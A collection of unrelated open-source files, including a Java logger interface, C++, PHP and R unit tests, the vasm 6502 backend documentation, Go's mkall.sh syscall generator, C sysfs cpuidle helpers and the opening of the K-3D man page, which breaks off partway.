Model::get_slam_state(const std::string& sceneID) const { return SLAMContext::get_slam_state(sceneID); }
{ "pile_set_name": "Github" }
package no.priv.garshol.duke; /** * <b>Experimental</b> attempt at internal log handling which works * naturally on the command-line, doesn't introduce dependencies, and * at the same time allows integration with a full logging system. * <i>This may go away again if I change my mind.</i> */ public interface Logger { public void trace(String msg); public boolean isTraceEnabled(); public void debug(String msg); public boolean isDebugEnabled(); public void info(String msg); public boolean isInfoEnabled(); public void warn(String msg); public void warn(String msg, Throwable e); public boolean isWarnEnabled(); public void error(String msg); public void error(String msg, Throwable e); public boolean isErrorEnabled(); }
{ "pile_set_name": "Github" }
#include "testing/testing.hpp" #include "base/control_flow.hpp" #include <cstdint> using namespace base; namespace { struct Repeater { explicit Repeater(uint32_t repetitions) : m_repetitions(repetitions) {} template <typename Fn> void ForEach(Fn && fn) { ControlFlowWrapper<Fn> wrapper(std::forward<Fn>(fn)); for (uint32_t i = 0; i < m_repetitions; ++i) { ++m_calls; if (wrapper() == ControlFlow::Break) return; } } uint32_t m_repetitions = 0; uint32_t m_calls = 0; }; } // namespace UNIT_TEST(ControlFlow_Smoke) { { Repeater repeater(10); uint32_t c = 0; repeater.ForEach([&c] { ++c; }); TEST_EQUAL(c, 10, ()); TEST_EQUAL(c, repeater.m_repetitions, ()); TEST_EQUAL(c, repeater.m_calls, ()); } { Repeater repeater(10); uint32_t c = 0; repeater.ForEach([&c] { ++c; if (c == 5) return ControlFlow::Break; return ControlFlow::Continue; }); TEST_EQUAL(c, 5, ()); TEST_EQUAL(c, repeater.m_calls, ()); } }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>DrabTestApp</title> <link rel="stylesheet" href="<%= static_path(@conn, "/css/app.css") %>"> </head> <body> <div class="container"> <p class="alert alert-info" role="alert"><%= get_flash(@conn, :info) %></p> <p class="alert alert-danger" role="alert"><%= get_flash(@conn, :error) %></p> <main role="main"> <%= render @view_module, @view_template, assigns %> </main> </div> <!-- /container --> <script src="<%= static_path(@conn, "/js/app.js") %>"></script> <%= Drab.Client.generate(@conn, additional_assign: "whatever") %> <script> if (window.Drab) Drab.connect({additional_token: "something"}); </script> </body> </html>
{ "pile_set_name": "Github" }
/* * This is is imported by virtue of "sass.etc" in "app.json". */
{ "pile_set_name": "Github" }
This chapter documents the backend for the MOS/Rockwell 6502 microprocessor family. @section Legal This module is copyright in 2002,2006,2008-2011 by Frank Wille. This archive may be redistributed without modifications and used for non-commercial purposes. Distributing modified versions and commercial usage needs my written consent. Certain modules may fall under additional copyrights. @section Additional options for this module This module provides the following additional options: @table @option @item -opt-branch Enables 'optimization' of B<cc> branches into "B<!cc> *+3 ; JMP label" sequences when necessary. @item -illegal Allow 'illegal' 6502 instructions to be recognized. @item -dtv Recognize the three additional C64-DTV instructions. @end table @section General This backend accepts 6502 family instructions as described in the instruction set reference manuals from MOS and Rockwell, which are valid for the following CPUs: 6502, 65C02, 65CE02, 65C102, 65C112, 6503, 6504, 6505, 6507, 6508, 6509, 6510, 6511, 65F11, 6512 - 6518, 65C00/21, 65C29, 6570, 6571, 6280, 6702, 740, 7501, 8500, 8502, 65802, 65816. The target address type is 16 bit. Instructions consist of one up to three bytes and require no alignment. There is also no alignment requirement for sections and data. All known mnemonics for illegal instructions are recognized (e.g. @code{dcm} and @code{dcp} refer to the same instruction). Some illegal insructions (e.g. @code{$ab}) are known to show unpredictable behaviour, or do not always work the same on different CPUs. @section Extensions This backend provides the following specific extensions: @itemize @minus @item The parser understands a lo/hi-modifier to select low- or high-byte of a 16-bit word. The character @code{<} is used to select the low-byte and @code{>} for the high-byte. It has to be the first character before an expression. @item When applying the operation @code{/256}, @code{%256} or @code{&256} on a label, an appropriate lo/hi-byte relocation will automatically be generated. @end itemize @section Optimizations This backend performs the following operand optimizations: @itemize @minus @item Branches, where the destination is out of range, are translated into @code{B<!cc> *+3} and an absolute @code{JMP} instruction. @end itemize @section Known Problems Some known problems of this module at the moment: @itemize @minus @item None? @end itemize @section Error Messages This module has the following error messages: @itemize @minus @item 2001: instruction not supported on selected architecture @item 2002: trailing garbage in operand @item 2003: missing closing parenthesis in addressing mode @item 2004: data size %d not supported @item 2005: relocation does not allow hi/lo modifier @item 2006: operand doesn't fit into 8-bits @item 2007: branch destination out of range @end itemize
{ "pile_set_name": "Github" }
--TEST-- Bug #39873 (number_format() breaks with locale & decimal points) --SKIPIF-- <?php if (!setlocale(LC_ALL, "ita","it","Italian","it_IT","it_IT.ISO8859-1","it_IT.ISO_8859-1")) { die("skip locale needed for this test is not supported on this platform"); } ?> --FILE-- <?php setlocale(LC_ALL, "ita","it","Italian","it_IT","it_IT.ISO8859-1","it_IT.ISO_8859-1"); $num = 0+"1234.56"; echo number_format($num,2); echo "\n"; ?> --EXPECT-- 1,234.56
{ "pile_set_name": "Github" }
test_that("brk_manual", { for (l in c(TRUE, FALSE)) for (r in c(TRUE, FALSE)) { expect_silent(x <- brk_res(brk_manual(1:2, c(l, r)))) expect_s3_class(x, "breaks") } expect_error(brk_res(brk_manual(c(2, 2), c(TRUE, TRUE)))) expect_error(brk_res(brk_manual(c(2, 2), c(FALSE, TRUE)))) expect_error(brk_res(brk_manual(c(2, 2), c(FALSE, FALSE)))) expect_silent(brk_res(brk_manual(c(2, 2), c(TRUE, FALSE)))) expect_error(brk_res(brk_manual(1, c(TRUE, FALSE)))) expect_error(brk_res(brk_manual(1:2, c(TRUE)))) expect_error(brk_res(brk_manual("a", TRUE))) expect_error(brk_res(brk_manual(1, "c"))) expect_error(brk_res(brk_manual(c(1, NA), c(TRUE, TRUE)))) expect_error(brk_res(brk_manual(2:1, c(TRUE, TRUE)))) expect_error(brk_res(brk_manual(c(1, 2, 2, 2, 3), rep(TRUE, 5))), regexp = "equal") }) test_that("brk_left, brk_right", { expect_identical( brk_res(brk_left(1:3)), santoku:::create_breaks(1:3, c(TRUE, TRUE, TRUE)) ) expect_identical( brk_res(brk_left(1:3), close_end = TRUE), santoku:::create_breaks(1:3, c(TRUE, TRUE, FALSE)) ) expect_identical( brk_res(brk_right(1:3)), santoku:::create_breaks(1:3, c(FALSE, FALSE, FALSE)) ) expect_identical( brk_res(brk_right(1:3), close_end = TRUE), santoku:::create_breaks(1:3, c(TRUE, FALSE, FALSE)) ) expect_false( anyNA(chop(1:5, brk_left(1:5))) ) }) test_that("brk_n", { for (i in 1:10) { x <- rnorm(sample(10:20, 1L)) b <- sample(5L, 1L) expect_true(all(tab(!!x, brk_n(!!b), drop = TRUE) <= !!b), info = sprintf("length(x) %s b %s", length(x), b)) } }) test_that("bugfix: brk_n shouldn't error with too many non-unique values", { expect_error(brk_res(brk_n(2), c(1, 1, 1, 1, 5, 5, 5, 5)), regexp = NA) }) test_that("brk_width", { b <- brk_res(brk_width(1), 0.5:1.5) expect_equal(diff(as.vector(b)), 1) width <- runif(1) b <- brk_res(brk_width(width), 0.5:1.5) bvec <- as.vector(b) expect_equal(diff(bvec)[1], width) expect_equal(bvec[1], 0.5) b <- brk_res(brk_width(1), rep(NA, 2)) expect_identical(as.vector(b), c(-Inf, Inf)) b <- brk_res(brk_width(1), c(Inf, -Inf, NA)) expect_identical(as.vector(b), c(-Inf, Inf)) b <- brk_res(brk_width(1), c(NA, 2, 4, NA)) expect_equal(diff(as.vector(b))[1], 1) }) test_that("brk_width, negative width", { b <- brk_res(brk_width(-1), 0.5:1.5) expect_equal(diff(as.vector(b)), 1) width <- runif(1, min = -1, max = 0) b <- brk_res(brk_width(width), 0.5:1.5) bvec <- as.vector(b) expect_equal(diff(bvec)[1], -width) expect_equal(bvec[length(bvec)], 1.5) b <- brk_res(brk_width(-2, start = 2.5), 0:4) expect_identical(as.vector(b), c(-1.5, 0.5, 2.5)) }) test_that("brk_evenly", { b <- brk_res(brk_evenly(5), 0:10) expect_identical(as.vector(b), c(0, 2, 4, 6, 8, 10)) }) test_that("brk_mean_sd", { x <- rnorm(100) expect_silent(b <- brk_res(brk_mean_sd(3), x = x)) m <- mean(x) sd <- sd(x) sd_ints <- seq(m - 3 * sd, m + 3 * sd, sd) expect_equal(as.numeric(b), sd_ints) expect_silent(brk_res(brk_mean_sd(3), x = rep(NA, 2))) expect_silent(brk_res(brk_mean_sd(3), x = rep(1, 3))) expect_silent(brk_res(brk_mean_sd(3), x = 1)) }) test_that("brk_quantiles", { expect_silent(brk_res(brk_quantiles(1:3/4))) x <- 1:10 brks <- brk_quantiles(1:3/4)(x, FALSE, TRUE, FALSE) expect_equivalent(c(brks), quantile(x, 1:3/4)) expect_silent(brks <- brk_quantiles(numeric(0))(x, TRUE, TRUE, FALSE)) expect_equivalent(c(brks), c(-Inf, Inf)) x <- rep(1, 5) brks <- brk_quantiles(1:3/4)(x, FALSE, TRUE, FALSE) expect_equivalent(c(brks), unique(quantile(x, 1:3/4))) }) test_that("brk_equally", { expect_silent(brk_res(brk_equally(5))) expect_error(brk_equally(4.5)) brks <- brk_res(brk_equally(3)) expect_equivalent(brks, brk_res(brk_quantiles(0:3/3))) }) test_that("printing", { b <- brk_left(1:3) expect_output(print(b)) expect_silent(format(b)) b_empty <- brk_left(1) expect_output(print(b_empty)) })
{ "pile_set_name": "Github" }
#!/usr/bin/env bash # Copyright 2009 The Go Authors. All rights reserved. # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file. # The unix package provides access to the raw system call # interface of the underlying operating system. Porting Go to # a new architecture/operating system combination requires # some manual effort, though there are tools that automate # much of the process. The auto-generated files have names # beginning with z. # # This script runs or (given -n) prints suggested commands to generate z files # for the current system. Running those commands is not automatic. # This script is documentation more than anything else. # # * asm_${GOOS}_${GOARCH}.s # # This hand-written assembly file implements system call dispatch. # There are three entry points: # # func Syscall(trap, a1, a2, a3 uintptr) (r1, r2, err uintptr); # func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2, err uintptr); # func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2, err uintptr); # # The first and second are the standard ones; they differ only in # how many arguments can be passed to the kernel. # The third is for low-level use by the ForkExec wrapper; # unlike the first two, it does not call into the scheduler to # let it know that a system call is running. # # * syscall_${GOOS}.go # # This hand-written Go file implements system calls that need # special handling and lists "//sys" comments giving prototypes # for ones that can be auto-generated. Mksyscall reads those # comments to generate the stubs. # # * syscall_${GOOS}_${GOARCH}.go # # Same as syscall_${GOOS}.go except that it contains code specific # to ${GOOS} on one particular architecture. # # * types_${GOOS}.c # # This hand-written C file includes standard C headers and then # creates typedef or enum names beginning with a dollar sign # (use of $ in variable names is a gcc extension). The hardest # part about preparing this file is figuring out which headers to # include and which symbols need to be #defined to get the # actual data structures that pass through to the kernel system calls. # Some C libraries present alternate versions for binary compatibility # and translate them on the way in and out of system calls, but # there is almost always a #define that can get the real ones. # See types_darwin.c and types_linux.c for examples. # # * zerror_${GOOS}_${GOARCH}.go # # This machine-generated file defines the system's error numbers, # error strings, and signal numbers. The generator is "mkerrors.sh". # Usually no arguments are needed, but mkerrors.sh will pass its # arguments on to godefs. # # * zsyscall_${GOOS}_${GOARCH}.go # # Generated by mksyscall.pl; see syscall_${GOOS}.go above. # # * zsysnum_${GOOS}_${GOARCH}.go # # Generated by mksysnum_${GOOS}. # # * ztypes_${GOOS}_${GOARCH}.go # # Generated by godefs; see types_${GOOS}.c above. GOOSARCH="${GOOS}_${GOARCH}" # defaults mksyscall="./mksyscall.pl" mkerrors="./mkerrors.sh" zerrors="zerrors_$GOOSARCH.go" mksysctl="" zsysctl="zsysctl_$GOOSARCH.go" mksysnum= mktypes= run="sh" case "$1" in -syscalls) for i in zsyscall*go do sed 1q $i | sed 's;^// ;;' | sh > _$i && gofmt < _$i > $i rm _$i done exit 0 ;; -n) run="cat" shift esac case "$#" in 0) ;; *) echo 'usage: mkall.sh [-n]' 1>&2 exit 2 esac GOOSARCH_in=syscall_$GOOSARCH.go case "$GOOSARCH" in _* | *_ | _) echo 'undefined $GOOS_$GOARCH:' "$GOOSARCH" 1>&2 exit 1 ;; darwin_386) mkerrors="$mkerrors -m32" mksyscall="./mksyscall.pl -l32" mksysnum="./mksysnum_darwin.pl $(xcrun --show-sdk-path --sdk macosx)/usr/include/sys/syscall.h" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; darwin_amd64) mkerrors="$mkerrors -m64" mksysnum="./mksysnum_darwin.pl $(xcrun --show-sdk-path --sdk macosx)/usr/include/sys/syscall.h" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; darwin_arm) mkerrors="$mkerrors" mksysnum="./mksysnum_darwin.pl /usr/include/sys/syscall.h" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; darwin_arm64) mkerrors="$mkerrors -m64" mksysnum="./mksysnum_darwin.pl $(xcrun --show-sdk-path --sdk iphoneos)/usr/include/sys/syscall.h" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; dragonfly_386) mkerrors="$mkerrors -m32" mksyscall="./mksyscall.pl -l32 -dragonfly" mksysnum="curl -s 'http://gitweb.dragonflybsd.org/dragonfly.git/blob_plain/HEAD:/sys/kern/syscalls.master' | ./mksysnum_dragonfly.pl" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; dragonfly_amd64) mkerrors="$mkerrors -m64" mksyscall="./mksyscall.pl -dragonfly" mksysnum="curl -s 'http://gitweb.dragonflybsd.org/dragonfly.git/blob_plain/HEAD:/sys/kern/syscalls.master' | ./mksysnum_dragonfly.pl" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; freebsd_386) mkerrors="$mkerrors -m32" mksyscall="./mksyscall.pl -l32" mksysnum="curl -s 'http://svn.freebsd.org/base/stable/10/sys/kern/syscalls.master' | ./mksysnum_freebsd.pl" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; freebsd_amd64) mkerrors="$mkerrors -m64" mksysnum="curl -s 'http://svn.freebsd.org/base/stable/10/sys/kern/syscalls.master' | ./mksysnum_freebsd.pl" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; freebsd_arm) mkerrors="$mkerrors" mksyscall="./mksyscall.pl -l32 -arm" mksysnum="curl -s 'http://svn.freebsd.org/base/stable/10/sys/kern/syscalls.master' | ./mksysnum_freebsd.pl" # Let the type of C char be signed for making the bare syscall # API consistent across over platforms. mktypes="GOARCH=$GOARCH go tool cgo -godefs -- -fsigned-char" ;; linux_386) mkerrors="$mkerrors -m32" mksyscall="./mksyscall.pl -l32" mksysnum="./mksysnum_linux.pl /usr/include/asm/unistd_32.h" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; linux_amd64) unistd_h=$(ls -1 /usr/include/asm/unistd_64.h /usr/include/x86_64-linux-gnu/asm/unistd_64.h 2>/dev/null | head -1) if [ "$unistd_h" = "" ]; then echo >&2 cannot find unistd_64.h exit 1 fi mkerrors="$mkerrors -m64" mksysnum="./mksysnum_linux.pl $unistd_h" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; linux_arm) mkerrors="$mkerrors" mksyscall="./mksyscall.pl -l32 -arm" mksysnum="curl -s 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/plain/arch/arm/include/uapi/asm/unistd.h' | ./mksysnum_linux.pl -" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; linux_arm64) unistd_h=$(ls -1 /usr/include/asm/unistd.h /usr/include/asm-generic/unistd.h 2>/dev/null | head -1) if [ "$unistd_h" = "" ]; then echo >&2 cannot find unistd_64.h exit 1 fi mksysnum="./mksysnum_linux.pl $unistd_h" # Let the type of C char be signed for making the bare syscall # API consistent across over platforms. mktypes="GOARCH=$GOARCH go tool cgo -godefs -- -fsigned-char" ;; linux_ppc64) GOOSARCH_in=syscall_linux_ppc64x.go unistd_h=/usr/include/asm/unistd.h mkerrors="$mkerrors -m64" mksysnum="./mksysnum_linux.pl $unistd_h" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; linux_ppc64le) GOOSARCH_in=syscall_linux_ppc64x.go unistd_h=/usr/include/powerpc64le-linux-gnu/asm/unistd.h mkerrors="$mkerrors -m64" mksysnum="./mksysnum_linux.pl $unistd_h" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; linux_s390x) GOOSARCH_in=syscall_linux_s390x.go unistd_h=/usr/include/asm/unistd.h mkerrors="$mkerrors -m64" mksysnum="./mksysnum_linux.pl $unistd_h" # Let the type of C char be signed to make the bare sys # API more consistent between platforms. # This is a deliberate departure from the way the syscall # package generates its version of the types file. mktypes="GOARCH=$GOARCH go tool cgo -godefs -- -fsigned-char" ;; netbsd_386) mkerrors="$mkerrors -m32" mksyscall="./mksyscall.pl -l32 -netbsd" mksysnum="curl -s 'http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master' | ./mksysnum_netbsd.pl" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; netbsd_amd64) mkerrors="$mkerrors -m64" mksyscall="./mksyscall.pl -netbsd" mksysnum="curl -s 'http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master' | ./mksysnum_netbsd.pl" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; openbsd_386) mkerrors="$mkerrors -m32" mksyscall="./mksyscall.pl -l32 -openbsd" mksysctl="./mksysctl_openbsd.pl" zsysctl="zsysctl_openbsd.go" mksysnum="curl -s 'http://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master' | ./mksysnum_openbsd.pl" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; openbsd_amd64) mkerrors="$mkerrors -m64" mksyscall="./mksyscall.pl -openbsd" mksysctl="./mksysctl_openbsd.pl" zsysctl="zsysctl_openbsd.go" mksysnum="curl -s 'http://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master' | ./mksysnum_openbsd.pl" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; solaris_amd64) mksyscall="./mksyscall_solaris.pl" mkerrors="$mkerrors -m64" mksysnum= mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; *) echo 'unrecognized $GOOS_$GOARCH: ' "$GOOSARCH" 1>&2 exit 1 ;; esac ( if [ -n "$mkerrors" ]; then echo "$mkerrors |gofmt >$zerrors"; fi case "$GOOS" in *) syscall_goos="syscall_$GOOS.go" case "$GOOS" in darwin | dragonfly | freebsd | netbsd | openbsd) syscall_goos="syscall_bsd.go $syscall_goos" ;; esac if [ -n "$mksyscall" ]; then echo "$mksyscall $syscall_goos $GOOSARCH_in |gofmt >zsyscall_$GOOSARCH.go"; fi ;; esac if [ -n "$mksysctl" ]; then echo "$mksysctl |gofmt >$zsysctl"; fi if [ -n "$mksysnum" ]; then echo "$mksysnum |gofmt >zsysnum_$GOOSARCH.go"; fi if [ -n "$mktypes" ]; then echo "echo // +build $GOARCH,$GOOS > ztypes_$GOOSARCH.go"; echo "$mktypes types_$GOOS.go | go run mkpost.go >>ztypes_$GOOSARCH.go"; fi ) | $run
{ "pile_set_name": "Github" }
--TEST-- msgfmt_get/set_pattern() --SKIPIF-- <?php if( !extension_loaded( 'intl' ) ) print 'skip'; ?> --FILE-- <?php /* * Get/set pattern. */ function ut_main() { $res_str = ''; $fmt = ut_msgfmt_create( "en_US", "{0,number} monkeys on {1,number} trees" ); // Get default patten. $res_str .= "Default pattern: '" . ut_msgfmt_get_pattern( $fmt ) . "'\n"; $res_str .= "Formatting result: " . ut_msgfmt_format( $fmt, array(123, 456) ) . "\n"; // Set a new pattern. $pattern = "{0,number} trees hosting {1,number} monkeys"; $res = ut_msgfmt_set_pattern( $fmt, $pattern ); if( $res === false ) $res_str .= ut_msgfmt_get_error_message( $fmt ) . " (" . ut_msgfmt_get_error_code( $fmt ) . ")\n"; // Check if the pattern has been changed. $res = ut_msgfmt_get_pattern( $fmt ); if( $res === false ) $res_str .= ut_msgfmt_get_error_message( $fmt ) . " (" . ut_msgfmt_get_error_code( $fmt ) . ")\n"; $res_str .= "New pattern: '" . ut_msgfmt_get_pattern( $fmt ) . "'\n"; $res_str .= "Formatted message: " . ut_msgfmt_format( $fmt, array(123, 456) ) . "\n"; ut_msgfmt_set_pattern($fmt, str_repeat($pattern, 10)); $res_str .= "New pattern: '" . ut_msgfmt_get_pattern( $fmt ) . "'\n"; $res_str .= "Formatted message: " . ut_msgfmt_format( $fmt, array(123, 456) ) . "\n"; return $res_str; } include_once( 'ut_common.inc' ); ut_run(); ?> --EXPECT-- Default pattern: '{0,number} monkeys on {1,number} trees' Formatting result: 123 monkeys on 456 trees New pattern: '{0,number} trees hosting {1,number} monkeys' Formatted message: 123 trees hosting 456 monkeys New pattern: '{0,number} trees hosting {1,number} monkeys{0,number} trees hosting {1,number} monkeys{0,number} trees hosting {1,number} monkeys{0,number} trees hosting {1,number} monkeys{0,number} trees hosting {1,number} monkeys{0,number} trees hosting {1,number} monkeys{0,number} trees hosting {1,number} monkeys{0,number} trees hosting {1,number} monkeys{0,number} trees hosting {1,number} monkeys{0,number} trees hosting {1,number} monkeys' Formatted message: 123 trees hosting 456 monkeys123 trees hosting 456 monkeys123 trees hosting 456 monkeys123 trees hosting 456 monkeys123 trees hosting 456 monkeys123 trees hosting 456 monkeys123 trees hosting 456 monkeys123 trees hosting 456 monkeys123 trees hosting 456 monkeys123 trees hosting 456 monkeys
{ "pile_set_name": "Github" }
/* * (C) 2004-2009 Dominik Brodowski <[email protected]> * (C) 2011 Thomas Renninger <[email protected]> Novell Inc. * * Licensed under the terms of the GNU GPL License version 2. */ #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include "helpers/sysfs.h" unsigned int sysfs_read_file(const char *path, char *buf, size_t buflen) { int fd; ssize_t numread; fd = open(path, O_RDONLY); if (fd == -1) return 0; numread = read(fd, buf, buflen - 1); if (numread < 1) { close(fd); return 0; } buf[numread] = '\0'; close(fd); return (unsigned int) numread; } /* * Detect whether a CPU is online * * Returns: * 1 -> if CPU is online * 0 -> if CPU is offline * negative errno values in error case */ int sysfs_is_cpu_online(unsigned int cpu) { char path[SYSFS_PATH_MAX]; int fd; ssize_t numread; unsigned long long value; char linebuf[MAX_LINE_LEN]; char *endp; struct stat statbuf; snprintf(path, sizeof(path), PATH_TO_CPU "cpu%u", cpu); if (stat(path, &statbuf) != 0) return 0; /* * kernel without CONFIG_HOTPLUG_CPU * -> cpuX directory exists, but not cpuX/online file */ snprintf(path, sizeof(path), PATH_TO_CPU "cpu%u/online", cpu); if (stat(path, &statbuf) != 0) return 1; fd = open(path, O_RDONLY); if (fd == -1) return -errno; numread = read(fd, linebuf, MAX_LINE_LEN - 1); if (numread < 1) { close(fd); return -EIO; } linebuf[numread] = '\0'; close(fd); value = strtoull(linebuf, &endp, 0); if (value > 1 || value < 0) return -EINVAL; return value; } /* CPUidle idlestate specific /sys/devices/system/cpu/cpuX/cpuidle/ access */ /* * helper function to read file from /sys into given buffer * fname is a relative path under "cpuX/cpuidle/stateX/" dir * cstates starting with 0, C0 is not counted as cstate. * This means if you want C1 info, pass 0 as idlestate param */ unsigned int sysfs_idlestate_read_file(unsigned int cpu, unsigned int idlestate, const char *fname, char *buf, size_t buflen) { char path[SYSFS_PATH_MAX]; int fd; ssize_t numread; snprintf(path, sizeof(path), PATH_TO_CPU "cpu%u/cpuidle/state%u/%s", cpu, idlestate, fname); fd = open(path, O_RDONLY); if (fd == -1) return 0; numread = read(fd, buf, buflen - 1); if (numread < 1) { close(fd); return 0; } buf[numread] = '\0'; close(fd); return (unsigned int) numread; } /* read access to files which contain one numeric value */ enum idlestate_value { IDLESTATE_USAGE, IDLESTATE_POWER, IDLESTATE_LATENCY, IDLESTATE_TIME, MAX_IDLESTATE_VALUE_FILES }; static const char *idlestate_value_files[MAX_IDLESTATE_VALUE_FILES] = { [IDLESTATE_USAGE] = "usage", [IDLESTATE_POWER] = "power", [IDLESTATE_LATENCY] = "latency", [IDLESTATE_TIME] = "time", }; static unsigned long long sysfs_idlestate_get_one_value(unsigned int cpu, unsigned int idlestate, enum idlestate_value which) { unsigned long long value; unsigned int len; char linebuf[MAX_LINE_LEN]; char *endp; if (which >= MAX_IDLESTATE_VALUE_FILES) return 0; len = sysfs_idlestate_read_file(cpu, idlestate, idlestate_value_files[which], linebuf, sizeof(linebuf)); if (len == 0) return 0; value = strtoull(linebuf, &endp, 0); if (endp == linebuf || errno == ERANGE) return 0; return value; } /* read access to files which contain one string */ enum idlestate_string { IDLESTATE_DESC, IDLESTATE_NAME, MAX_IDLESTATE_STRING_FILES }; static const char *idlestate_string_files[MAX_IDLESTATE_STRING_FILES] = { [IDLESTATE_DESC] = "desc", [IDLESTATE_NAME] = "name", }; static char *sysfs_idlestate_get_one_string(unsigned int cpu, unsigned int idlestate, enum idlestate_string which) { char linebuf[MAX_LINE_LEN]; char *result; unsigned int len; if (which >= MAX_IDLESTATE_STRING_FILES) return NULL; len = sysfs_idlestate_read_file(cpu, idlestate, idlestate_string_files[which], linebuf, sizeof(linebuf)); if (len == 0) return NULL; result = strdup(linebuf); if (result == NULL) return NULL; if (result[strlen(result) - 1] == '\n') result[strlen(result) - 1] = '\0'; return result; } unsigned long sysfs_get_idlestate_latency(unsigned int cpu, unsigned int idlestate) { return sysfs_idlestate_get_one_value(cpu, idlestate, IDLESTATE_LATENCY); } unsigned long sysfs_get_idlestate_usage(unsigned int cpu, unsigned int idlestate) { return sysfs_idlestate_get_one_value(cpu, idlestate, IDLESTATE_USAGE); } unsigned long long sysfs_get_idlestate_time(unsigned int cpu, unsigned int idlestate) { return sysfs_idlestate_get_one_value(cpu, idlestate, IDLESTATE_TIME); } char *sysfs_get_idlestate_name(unsigned int cpu, unsigned int idlestate) { return sysfs_idlestate_get_one_string(cpu, idlestate, IDLESTATE_NAME); } char *sysfs_get_idlestate_desc(unsigned int cpu, unsigned int idlestate) { return sysfs_idlestate_get_one_string(cpu, idlestate, IDLESTATE_DESC); } /* * Returns number of supported C-states of CPU core cpu * Negativ in error case * Zero if cpuidle does not export any C-states */ int sysfs_get_idlestate_count(unsigned int cpu) { char file[SYSFS_PATH_MAX]; struct stat statbuf; int idlestates = 1; snprintf(file, SYSFS_PATH_MAX, PATH_TO_CPU "cpuidle"); if (stat(file, &statbuf) != 0 || !S_ISDIR(statbuf.st_mode)) return -ENODEV; snprintf(file, SYSFS_PATH_MAX, PATH_TO_CPU "cpu%u/cpuidle/state0", cpu); if (stat(file, &statbuf) != 0 || !S_ISDIR(statbuf.st_mode)) return 0; while (stat(file, &statbuf) == 0 && S_ISDIR(statbuf.st_mode)) { snprintf(file, SYSFS_PATH_MAX, PATH_TO_CPU "cpu%u/cpuidle/state%d", cpu, idlestates); idlestates++; } idlestates--; return idlestates; } /* CPUidle general /sys/devices/system/cpu/cpuidle/ sysfs access ********/ /* * helper function to read file from /sys into given buffer * fname is a relative path under "cpu/cpuidle/" dir */ static unsigned int sysfs_cpuidle_read_file(const char *fname, char *buf, size_t buflen) { char path[SYSFS_PATH_MAX]; snprintf(path, sizeof(path), PATH_TO_CPU "cpuidle/%s", fname); return sysfs_read_file(path, buf, buflen); } /* read access to files which contain one string */ enum cpuidle_string { CPUIDLE_GOVERNOR, CPUIDLE_GOVERNOR_RO, CPUIDLE_DRIVER, MAX_CPUIDLE_STRING_FILES }; static const char *cpuidle_string_files[MAX_CPUIDLE_STRING_FILES] = { [CPUIDLE_GOVERNOR] = "current_governor", [CPUIDLE_GOVERNOR_RO] = "current_governor_ro", [CPUIDLE_DRIVER] = "current_driver", }; static char *sysfs_cpuidle_get_one_string(enum cpuidle_string which) { char linebuf[MAX_LINE_LEN]; char *result; unsigned int len; if (which >= MAX_CPUIDLE_STRING_FILES) return NULL; len = sysfs_cpuidle_read_file(cpuidle_string_files[which], linebuf, sizeof(linebuf)); if (len == 0) return NULL; result = strdup(linebuf); if (result == NULL) return NULL; if (result[strlen(result) - 1] == '\n') result[strlen(result) - 1] = '\0'; return result; } char *sysfs_get_cpuidle_governor(void) { char *tmp = sysfs_cpuidle_get_one_string(CPUIDLE_GOVERNOR_RO); if (!tmp) return sysfs_cpuidle_get_one_string(CPUIDLE_GOVERNOR); else return tmp; } char *sysfs_get_cpuidle_driver(void) { return sysfs_cpuidle_get_one_string(CPUIDLE_DRIVER); } /* CPUidle idlestate specific /sys/devices/system/cpu/cpuX/cpuidle/ access */ /* * Get sched_mc or sched_smt settings * Pass "mc" or "smt" as argument * * Returns negative value on failure */ int sysfs_get_sched(const char *smt_mc) { return -ENODEV; } /* * Get sched_mc or sched_smt settings * Pass "mc" or "smt" as argument * * Returns negative value on failure */ int sysfs_set_sched(const char *smt_mc, int val) { return -ENODEV; }
{ "pile_set_name": "Github" }
.TH k3d 1 "June 2010" "K-3D Version @K3D_VERSION@" .SH NAME k3d \- 3D modeling and animation system .SH SYNOPSIS .B k3d [options] .SH DESCRIPTION K-3D is a free (as in freedom) 3D modeling, animation, and rendering system for GNU/Linux and Win32. K-3D features a robust, object-oriented plugin architecture and is capable of producing motion-picture-quality output when paired with a RenderMan Interface compliant render engine such as Aqsis. .PP .RI "Please visit " "http://www.k-3d.org" " for more information." .SH OPTIONS .B --add-path [path] .RS Prepends a filesystem path to the PATH environment variable. .RE .B --color .RS Color-codes log messages based on their priority. Requires an ANSI color-capable terminal. .RE .B --disable-gl-extension [extension] .RS Disables the given OpenGL extension. .RE .B --exit .RS Exits the program (useful after running scripts in batch mode). .RE .B -h, --help .RS Prints this help information and exits. .RE .B --log-level [level] .RS 